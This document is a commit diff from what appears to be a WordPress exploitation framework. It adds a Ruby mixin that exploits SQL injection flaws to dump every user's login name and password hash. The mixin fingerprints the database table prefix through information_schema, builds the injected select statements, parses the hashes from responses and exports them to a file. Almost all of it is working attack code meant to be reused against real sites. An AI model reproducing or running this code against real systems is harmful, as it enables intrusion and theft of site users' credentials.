Add Wpxf::WordPress::HashDump mixin

Author: rastating

lib/wpxf/core.rb

@@ -75,5 +75,6 @@ def self.change_stdout_sync(enabled)
 require 'wpxf/wordpress/shell_upload'
 require 'wpxf/wordpress/file_download'
 require 'wpxf/wordpress/comments'
+require 'wpxf/wordpress/hash_dump'
 
 require 'wpxf/core/module'

lib/wpxf/wordpress/hash_dump.rb

@@ -0,0 +1,174 @@
+# frozen_string_literal: true
+
+# Provides reusable functionality for hash dump modules.
+module Wpxf::WordPress::HashDump
+  include Wpxf
+
+  def initialize
+    super
+
+    @info[:desc] = 'This module exploits an SQL injetion vulnerability to generate a dump of all the user hashes in the database.'
+
+    register_options([
+      StringOption.new(
+        name: 'export_path',
+        desc: 'The file to save the hash dump to',
+        required: false
+      )
+    ])
+  end
+
+  # @return [String] the path to export the hash dump to.
+  def export_path
+    return nil if normalized_option_value('export_path').nil?
+    File.expand_path normalized_option_value('export_path')
+  end
+
+  # @return [String] a unique SQL select statement that can be used to extract the hashes.
+  def hashdump_sql_statement
+    cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
+    cols[hashdump_visible_field_index] = "concat(#{@bof_token},0x3a,user_login,0x3a,user_pass,0x3a,#{@eof_token})"
+    "select #{cols.join(',')} from #{@table_prefix}users"
+  end
+
+  # @return [Integer] the zero-based index of the column which is visible in the response output.
+  def hashdump_visible_field_index
+    0
+  end
+
+  # @return [Integer] the number of columns in the vulnerable SQL statement.
+  def hashdump_number_of_cols
+    1
+  end
+
+  # @return [Symbol] the HTTP method to use when requesting the hash dump.
+  def hashdump_request_method
+    :get
+  end
+
+  # @return [Hash] the parameters to be used when requesting the hash dump.
+  def hashdump_request_params
+    nil
+  end
+
+  # @return [Hash, String] the body to be used when requesting the hash dump.
+  def hashdump_request_body
+    nil
+  end
+
+  # @return [String] the URL of the vulnerable page.
+  def vulnerable_url
+    nil
+  end
+
+  # Run the module.
+  # @return [Boolean] true if successful.
+  def run
+    return false unless super
+
+    generate_id_tokens
+
+    emit_info 'Determining database prefix...'
+    return false unless determine_prefix
+    emit_success "Found prefix: #{@table_prefix}", true
+
+    emit_info 'Dumping user hashes...'
+    hashes = dump_and_parse_hashes
+    output_hashdump_table(hashes)
+
+    export_hashes(hashes) if export_path
+    true
+  end
+
+  private
+
+  def hashdump_prefix_fingerprint_statement
+    cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
+    cols[hashdump_visible_field_index] = "concat(#{@bof_token},0x3a,table_name,0x3a,#{@eof_token})"
+    "select #{cols.join(',')} from information_schema.tables where table_schema = database()"
+  end
+
+  def dump_and_parse_hashes
+    res = execute_request(
+      method: hashdump_request_method,
+      url: vulnerable_url,
+      params: hashdump_request_params,
+      body: hashdump_request_body,
+      cookie: session_cookie
+    )
+
+    return false unless res&.code == 200
+    parse_hashdump_body(res.body)
+  end
+
+  def build_prefix_request_body
+    body = hashdump_request_body
+    unless body.nil?
+      if body.is_a?(Hash)
+        body.each do |k, v|
+          body[k] = v.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
+        end
+      else
+        body.gsub!(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
+      end
+    end
+
+    body
+  end
+
+  def build_prefix_request_params
+    params = hashdump_request_params
+
+    params&.each do |k, v|
+      params[k] = v.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
+    end
+
+    params
+  end
+
+  def determine_prefix
+    body = build_prefix_request_body
+    params = build_prefix_request_params
+
+    res = execute_request(
+      method: hashdump_request_method,
+      url: vulnerable_url,
+      params: params,
+      body: body,
+      cookie: session_cookie
+    )
+
+    return nil unless res&.code == 200
+    @table_prefix = res.body[/#{@bof_token}\:([^,]+?)usermeta\:#{@eof_token}/, 1]
+  end
+
+  def output_hashdump_table(hashes)
+    rows = []
+    rows.push(user: 'Username', hash: 'Hash')
+    hashes.each do |pair|
+      rows.push(user: pair[0], hash: pair[1])
+    end
+
+    emit_table rows
+  end
+
+  def export_hashes(hashes)
+    open(export_path, 'w') do |f|
+      hashes.each do |pair|
+        f.puts "#{pair[0]}:#{pair[1]}"
+      end
+    end
+
+    emit_success "Saved dump to #{export_path}"
+  end
+
+  def parse_hashdump_body(body)
+    pattern = /#{@bof_token}\:(.+?)\:(.+?)\:#{@eof_token}/
+    body.scan(pattern)
+  end
+
+  def generate_id_tokens
+    @eof_token = Utility::Text.rand_numeric(10)
+    @bof_token = Utility::Text.rand_numeric(10)
+  end
+end